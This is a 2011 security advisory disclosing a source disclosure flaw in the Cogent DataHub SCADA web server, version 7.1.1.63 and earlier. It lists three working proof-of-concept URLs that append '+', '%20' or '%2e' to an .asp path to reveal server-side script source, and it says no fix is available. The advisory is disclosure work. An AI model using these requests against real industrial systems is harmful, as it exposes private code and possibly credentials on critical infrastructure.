Cogent DataHub 7.1.1.63 Source Disclosure

`#######################################################################  
  
Luigi Auriemma  
  
Application: Cogent DataHub  
http://www.cogentdatahub.com/Products/Cogent_DataHub.html  
Versions: <= 7.1.1.63  
Platforms: Windows  
Bug: source disclosure  
Exploitation: remote  
Date: 13 Sep 2011  
Author: Luigi Auriemma  
e-mail: [email protected]  
web: aluigi.org  
  
  
#######################################################################  
  
  
1) Introduction  
2) Bug  
3) The Code  
4) Fix  
  
  
#######################################################################  
  
===============  
1) Introduction  
===============  
  
  
DataHub is a software for the SCADA and automation sector.  
  
  
#######################################################################  
  
======  
2) Bug  
======  
  
  
The server/service listens on port 80 using a custom web server.  
  
Through the appending of the following chars it's possible to view the  
content of the server-side scripts on the server:  
  
+  
%20  
%2e  
  
This vulnerability is useful when the server hosts customized scripts  
which seems a feature of the software:  
http://www.cogentdatahub.com/Features/DataHub_Web_ASP.html  
  
  
#######################################################################  
  
===========  
3) The Code  
===========  
  
  
http://SERVER/index.asp+  
http://SERVER/index.asp%20  
http://SERVER/index.asp%2e  
  
  
#######################################################################  
  
======  
4) Fix  
======  
  
  
No fix.  
  
  
#######################################################################  
`